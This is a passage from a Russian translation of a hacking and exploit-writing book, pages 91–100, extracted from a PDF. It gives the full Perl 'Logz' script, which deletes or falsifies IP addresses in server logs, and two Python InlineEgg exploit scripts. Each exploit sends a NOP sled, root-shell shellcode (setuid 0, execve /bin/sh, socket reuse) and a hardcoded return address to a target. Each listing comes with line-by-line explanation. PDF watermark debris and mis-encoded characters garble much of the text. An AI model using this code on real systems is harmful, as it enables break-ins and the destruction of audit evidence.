Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_

.pdf
Скачиваний:
14
Добавлен:
19.04.2024
Размер:
3.68 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df-xchan5

 

#January 2004

6

7 use Getopt::Std;

8

9 getopts('d:t:rhs:l:') || usage();

10

11 $logfile = $opt_l;

12

13 ##########

14

15if ($opt_h == 1)

16{

17usage();

18}

19##########

20

21if ($opt_t ne "" && $opt_s eq "")

22{

23open (FILE, "$logfile");

24

25while (<FILE>)

26{

27$ranip=randomip();

28s/$opt_t/$ranip/;

29push(@templog,$_);

30next;

31}

32

33close FILE;

34open (FILE2, ">$logfile") || die("Не могу открыть");

35print FILE2"@templog";

36close FILE2;

37}

38##########

39

40if ($opt_s ne "")

41{

42open (FILE, "$logfile");

44while (<FILE>)

45{

46s/$opt_t/$opt_s/;

47push(@templog,$_);

48next;

49}

50

51close FILE;

52open (FILE2, ">$logfile") || die("Не могу открыть");

53print FILE2"@templog";

Язык Perl

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

91

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

92 Глава 1. Написание безопасных программ

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

54 close FILE2;

 

 

 

df-xchan

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

55

56}

57##########

59if ($opt_r ne "")

60{

61open (FILE, "$logfile");

63while (<FILE>)

64{

65$ranip=randomip();

66s/((\d+)\.(\d+)\.(\d+)\.(\d+))/$ranip/;

67push(@templog,$_);

68next;

69}

70

71close FILE;

72open (FILE2, ">$logfile") || die("Не могу открыть ");

73print FILE2"@templog";

74close FILE2;

75}

76##########

77

78if ($opt_d ne "")

79{

80open (FILE, "$logfile");

82while (<FILE>)

83{

84

85if (/.*$opt_d.*/)

86{

87next;

88}

89

90push(@templog,$_);

91next;

92

93 }

94

95close FILE;

96open (FILE2, ">$logfile") || die("Не могу открыть");

97print FILE2 "@templog";

98close FILE2;

99}

100###########

101

102 sub usage

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

 

 

i

r

 

P

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

Язык Perl

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

 

 

 

e

 

{

 

 

 

 

d

 

 

xch103

 

 

 

 

 

 

f-

 

an

 

 

 

 

 

 

 

 

 

 

 

 

 

104

 

print "\nLogz v1.0 – универсальная утилита модификации протоколов

 

 

 

 

 

 

 

 

 

 

 

 

 

 

äëÿ Microsoft Windows \n";

 

 

 

 

 

 

 

105

 

print "Написал: James C. Foster для BlackHat Windows 2004\n";

 

 

 

 

 

 

 

106

 

print "Èäåÿ: James C. Foster and Mark Burnett\n\n";

 

 

 

 

 

 

 

107

 

print "Порядок вызова: $0 [-options *]\n\n";

 

 

 

 

 

 

 

108

 

print "\t-h\t\t: Справка\n";

 

 

 

 

 

 

 

109

 

print "\t-d IP-адрес\t: Удалить записи с указанным IP-адресом\n";

 

 

 

 

 

 

 

110

 

print "\t-r\t\t: Заменить все IP-адреса случайными\n";

 

 

 

 

 

 

 

111

 

print "\t-t целевой IP\t: подменить целевой адрес (случайным, если

 

 

 

 

 

 

 

 

 

 

 

 

 

 

иное не указано)\n";

 

 

 

 

 

 

 

112

 

print "\t-s поддельный IP\t: подменить целевой адрес этим

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(необязательный параметр)\n";

 

 

 

 

 

 

 

113

 

print "\t-l файл протокола\t: файл, который вы хотите

 

 

 

 

 

 

 

 

 

 

 

 

 

 

модифицировать\n\n";

 

 

 

 

 

 

 

114

 

print "\tПример: logz.pl -r -l IIS.log\n";

 

 

 

 

 

 

 

115

 

print "\t

logz.pl -t 10.1.1.1 -s 20.2.3.219

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-l myTestLog.txt\n";

 

 

 

 

 

 

 

116

 

print "\t

logz.pl -d 192.10.9.14 IIS.log\n";

117}

118#сгенерировать случайный IP-адрес

120 sub randomip

121{

122$a = num();

123$b = num();

124$c = num();

125$d = num();

126$dot = '.';

127$total = "$a$dot$b$dot$c$dot$d";

128return $total;

129}

130

131 sub num

132{

133$random = int( rand(230)) + 11;

134return $random;

135}

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

93

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Результат выполнения

Logz v1.0 – универсальная утилита модификации протоколов для Microsoft Windows

Написал: James C. Foster для BlackHat Windows 2004 Идея: James C. Foster and Mark Burnett

Порядок вызова: $0 [-options *]

-h

: Справка\n";

-d IP-адрес

: Удалить записи с указанным IP-адресом

-r

: Заменить все IP-адреса случайными

94 Глава 1. Написание безопасных программ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

-t целевой IP : Подменить целевой адрес (случайным, если иное не указаноdf-x chan

e

 

-s поддельный IP

: Подменить целевой адрес этим (необязательный

 

 

 

 

 

 

 

 

 

 

 

параметр)

 

 

 

 

 

 

 

 

 

 

-l файл протокола

: Файл, который вы хотите модифицировать

 

 

 

 

 

 

 

 

 

 

Пример: logz.pl -r -l IIS.log

logz.pl -t 10.1.1.1 -s 20.2.3.219 -l myTestLog.txt logz.pl -d 192.10.9.14 IIS.log

Анализ

В строке 7 импортируется модуль GetOpt. Он облегчает разбор командной строки. Значения, следующие за флагами, помещаются в соответствующую переменную opt_ (например, в результате разбора командной строки /devel/]$ command -r user будет создана переменная $opt_r, значение которой равно user).

Âстроке 9 функция getopts извлекает аргументы из командной строки. Те флаги, за которыми следует двоеточие ':', требуют наличия значения; прочие флаги представляют собой просто булевские величины. Позже значения флагов будут использованы в программе. Если не задано никаких аргументов, сценарий печатает справку о порядке запуска.

Âстроке 11 демонстрируется первое использование прочитанного значе- ния флага. С помощью флага -l задается имя файла протокола, подлежащего модификации. В переменную $logfile копируется значение переменной opt_l, содержащее, в свою очередь, значение флага -l.

Âстроках 15–18 сценарий проверяет, есть ли в командной строке флаг -h, и при выполнении условия печатает сообщение о порядке вызова.

Âстроке 21 проверяется, что задан флаг -t и одновременно не задан флаг - s. Это означает, что пользователь не хочет явно указывать поддельный IPадрес, а хочет вместо этого заменить все адреса в файле случайными.

Âстроке 23 открывается файл протокола, имя которого задано параметром -l, и его описатель сохраняется в переменной FILE.

Âстроках 25–31 выполняется цикл для замены целевого IP-адреса случайным. Для этого из файла читается по одной строке (строка 26) и генерируется случайный адрес ranip с помощью функции randomip(), определенной в конце сценария.

Âстроке 29 целевой адрес, заданный флагом -t, подменяется случайным адресом ranip. В строке 30 только что измененная строкафайла помещается во временный массив, который позже будет выведен. Для замены применяется команда s/<искомая_строка>/<строка_замены>.

Далее в цикле обрабатывается следующая строка файла и так до тех пор, пока весь файл не будет прочитан. В строке 33 файл закрывается.

Âстроке 34 открывается для записи тот же файл, который был задан флагом -l. Его описатель сохраняется в переменной FILE2. Если открыть файл не

удается, сценарий завершается с сообщением: «Не могу открыть».

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Язык Perl

95

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

 

 

p

 

-x cha

 

 

 

 

 

 

 

 

 

Если файл удалось открыть, то в строке 35 временный массив сбрасывается

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

âэтот файл. После этого файл закрывается и может быть использован для других целей.

Âстроке 40 проверяется, что задан флаг -s, то есть пользователь указал поддельный IP-адрес, которым хочет заменить целевой адрес. Если это так, то в строке 42 открывается файл протокола.

Цикл while в строках 44–49 почти не отличается от рассмотренного выше (строки 25–31). Но теперь случайное число не генерируется, а все вхождения целевого адреса подменяются строкой, заданной флагом -s.

Âстроках 52–54 выполняются операции записи, аналогичные рассмотренным выше. В строке 51 закрывается исходный файл. Затем сценарий пытается открыть тот же файл для записи и переписать его содержимое данными, сохраненными во временном массиве. Затем файл закрывается.

Âстроках 63–75 все IP-адреса в файле подменяются случайными. Операция замены выполняется так же, как и выше.

Âстроке 65 генерируется случайный IP-адрес. Затем (строка 66) производится сопоставление с образцом ((\d+).(\d+).(\d+).(\d+)), то есть ищутся IP-адреса. Последовательность \d+ представляет одну или более цифр. В данном случае мы ищем цепочку цифр, за которой следует точка, за которой следует еще одна цепочка цифр, и так четыре раза. Найденная строка считается IP-адресом, вместо которого подставляется случайный адрес.

Âстроках 71–74 файл протокола закрывается, затем открывается снова, и в него записывается содержимое временного массива.

Âстроке 78 сценарий проверяет, был ли задан флаг -d. В этом случае необходимо удалить из протокола все строки, в которых встречается указанный IP-адрес.

Âстроке 80 файл открывается, и в уже знакомом цикле while обрабатываются все его строки. Основное различие заключено в строках 85–88. Åñëè

âстроке встречается указанный IP-адрес, то она не записывается во временный массив. Таким образом, во временном массиве окажутся только строки, не содержащие этого адреса.

Затем в строках 95–98 вместо старого файла протокола записывается новый.

Âстроках 102–117 определена функция usage(), которая выводит сообщение о порядке запуска сценария. Эта функция вызывается в случае, если задан флаг -h, а также тогда, когда указанные в командной строке параметры некорректны.

Âстроках 118–135 определены функции randomip() è num(). Они нужны для генерации случайных IP-адресов и используются в разных местах сценария Logz. Функция num() порождает случайное число в диапазоне от 11 до

241(строка133). Функция randomip() вызывает num() четыре раза для получе-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

96 Глава 1. Написание безопасных программ

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

ния четырех октетов IP-адреса. После того как все четыре октета получены-x cha

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(строки 122–125), из них в переменной $total формируется полный IP-адрес (строка 127), который и возвращается вызывающей функции.

Язык Python

Язык Python придумал Гвидо ван Россум (Guido Van Rossum) в 1990 году. Его первая «официальная» версия была опубликована в 1991 году. В названии языка нашло отражение увлечение ван Россума фильмами Монти Питона. Пона- чалу Python не получил такой же мощной поддержки, как Perl. Но со временем число его приверженцев росло, а в 1994 году в сети Usenet была создана конференция comp.lang.python. В отличие от лицензии GNU, Python с самого начала выпускался на условиях полной и безусловной бесплатности, для него не существовало никаких лицензий.

Как и любой другой язык сценариев, Python ставил перед собой задачу ускорить разработку приложений. Будучи интерпретируемым языком, Python нуждается в интерпретаторе для выполнения сценариев. На данный момент существует два таких интерпретатора. Получить исчерпывающую информацию об обоих и загрузить программу можно со следующих сайтов:

www.python.org;

www.activestate.com.

Сценарии, написанные на языке Python, можно исполнять во многих операционных системах, в том числе Microsoft Windows и многочисленных вариациях UNIX, Linux и Mac.

Python – это объектно-ориентированный язык, позволяющий создавать классы, объекты и методы. Он легко встраивается в другие языки и расширяется за счет модулей, написанных на других языках. В целом Python – это исключительно мощный язык, который взяли на вооружение такие компании, как Information Security, Bioinformatics и Applied Mathematics. Своей популярностью он обязан простому интерфейсу для прикладных программ (API), возможностью программировать на низком уровне и удачному интерфейсу к сокетам.

Пакет InlineEgg

Пакет InlineEgg создан исследовательской группой CORE SDI. Этот динамич- ный и расширяемый каркас для создания «эксплойтов» входит в линейку ее продуктов. Пакет может создавать shell-код для многих системных вызовов на различных платформах и внедрять его с помощью Python-сценариев. Чест-

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Примечание

Язык Python

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

97

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Быстро набирает популярность в области безопасности инструмен тальная программа CANVAS, написанная Дейвом Эйтелом (Dave Aitel). В качестве интерпретатора для сценариев содержащихся в ней «экс плойтов» используется Python. CANVAS – это набор «эксплойтов», который вы можете выполнить, чтобы оценить степень защищенно сти своей системы. Информацию об этой программе и ее исходный текст можно найти на сайте www.immunitysec.com. CANVAS постав ляется с исходным текстом, если вы купите хотя бы одну пользова тельскую лицензию.

но говоря, CORE SDI создала лучший инструмент для создания shell-кода из имеющихся на рынке. Пример 1.30 заимствован из документации к пакету InlineEgg и призван показать, как эффективно можно применять Python в коммерческих приложениях.

Пример 1.30. Использование пакета InlineEgg

1 from inlineegg.inlineegg import *

2 import socket

3 import struct

4 import sys

5

6 def stdinShellEgg():

7 # egg = InlineEgg(FreeBSDx86Syscall)

8 # egg = InlineEgg(OpenBSDx86Syscall)

9 egg = InlineEgg(Linuxx86Syscall)

10

11egg.setuid(0)

12egg.setgid(0)

13egg.execve('/bin/sh',('bash','-i'))

15print "Egg len: %d" % len(egg)

16return egg

17

18 def main():

19if len(sys.argv) < 3:

20raise Exception, "Usage: %s <target ip> <target port>"

22sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

23sock.connect((sys.argv[1], int(sys.argv[2])))

24

25 egg = stdinShellEgg()

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

98 Глава 1. Написание безопасных программ

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df-xchan

26

27retAddr = struct.pack('<L',0xbffffc24L)

28toSend = "\x90"*(1024-len(egg))

29toSend += egg.getCode()

30toSend += retAddr*20

31

32 sock.send(toSend)

33

34 main()

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Анализ

В строке 1из файла inlineegg импортируется класс inlineegg, необходимый для работы сценария.

Âстроках 2–4 импортируются другие стандартные классы Python.

Âстроках 6–16 посредством этих классов создается функция, которая генерирует внедряемый код (яйцо – egg). В строке 16 сгенерированное «яйцо» возвращается вызывающей программе. В строках 7–9 для создания «яйца» вызываются методы класса inlineegg, импортированного в строке 1. В строках 11 и 12 для «яйца» устанавливаются идентификаторы пользователя и группы,

àв строке 13 говорится, какую программу «яйцо» должно вызвать.

Âстроках 19 и 20 проверяется, что передано правильное число параметров. Отметим, что корректность заданных параметров не проверяется.

Âстроках 22 и 23 создается сокет и происходит соединение с указанным в командной строке IP-адресом и портом.

Âстроке 25 создается «яйцо», которое мы отправим удаленной системежертве.

Âстроках 27–30 создается содержащий «яйцо» пакет, который посылается целевой системе. В строке 28 указано, каким символом нужно заполнить не занятые «яйцом» байты пакета. В данном случае это символ с 16-ричным кодом \x90.

Âстроке 32 пакет выводится в сокет, а в строке 34 вызывается функция main, которая и запускает сценарий.

Дав некоторое представление об API пакета InlineEgg, перейдем к чуть более сложному примеру. В примере 1.31 с помощью комбинации различных методов shell-код генерирует цикл.

Пример 1.31. Использование пакета InlineEgg II

1from inlineegg.inlineegg import *

2import socket

3import struct

4 import sys

5

6 def reuseConnectionShellEgg():

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

Язык Python

w Click

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

e

 

egg = InlineEgg(FreeBSDx86Syscall)

 

 

 

df-xchan7

 

#

 

 

 

 

 

 

 

8 #

 

egg = InlineEgg(OpenBSDx86Syscall)

 

 

 

 

 

 

9

 

 

 

egg = InlineEgg(Linuxx86Syscall)

 

 

 

 

 

10

 

 

 

 

11# s = egg.socket(2,1)

12# egg.connect(s,('127.0.0.1',3334))

14 sock = egg.save(-1)

15

16# Начало цикла

17loop = egg.Do()

18loop.addCode(loop.micro.inc(sock))

19lenp = loop.save(0)

20err = loop.getpeername(sock,0,lenp.addr())

21loop.While(err, '!=', 0)

22

23# Дублирование стандартных дескрипторов и вызов exec

24egg.dup2(sock, 0)

25egg.dup2(sock, 1)

26egg.dup2(sock, 2)

27egg.execve('/bin/sh',('bash','-i'))

28print "Egg len: %d" % len(egg)

29return egg

30

31 def main():

32if len(sys.argv) < 3:

33raise Exception, "Usage: %s <target ip> <target port>"

35sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

36sock.connect((sys.argv[1], int(sys.argv[2])))

37

38 egg = reuseConnectionShellEgg()

39

40retAddr = struct.pack('<L',0xbffffc24L)

41toSend = "\x90"*(1024-len(egg))

42toSend += egg.getCode()

43toSend += retAddr*20

44

45 sock.send(toSend)

46

47 main()

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

99

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Анализ

В строке 1из файла inlineegg импортируется класс inlineegg, необходимый для работы сценария.

Âстроках 2–4 импортируются другие стандартные классы Python.

Âстроках 7–9 для создания «яйца» вызываются методакласса inlineegg.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

100 Глава 1. Написание безопасных программ

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

Строки 11 и 12 включены только для тестирования на локальной системе.-x cha

 

 

 

 

 

Если их «раскомментарить», то сценарий попытается соединиться с возвратным адресом и портом 3334.

Âстроке 14 в стеке создается и инициализируется нулем переменная, она пригодится позже во время сканирования в поисках подходящего сокета.

Âстроках 17–21 создается цикл, который будет искать сокет (строка 17),

àтакже определяется код, подлежащий выполнению после того, как нужный сокет будет найден (строка 18), инициализируется правильный код ошибки (строка 20) и, наконец, цикл запускается (строка 21).

В строках 24–29 задается, какие системные вызовы нужно добавить к «яйцу». В строке 28 длина «яйца» распечатывается, а в строке 29 «яйцо» возвращается вызывающей программе.

Âстроках 31–33 проверяется, что передано правильное число параметров. Отметим, что корректность заданных параметров не проверяется.

Âстроках 35 и 36 создается сокет и происходит соединение с указанным

âкомандной строке IP-адресом и портом.

Âстроке 38 создается «яйцо», которое мы отправим удаленной системежертве.

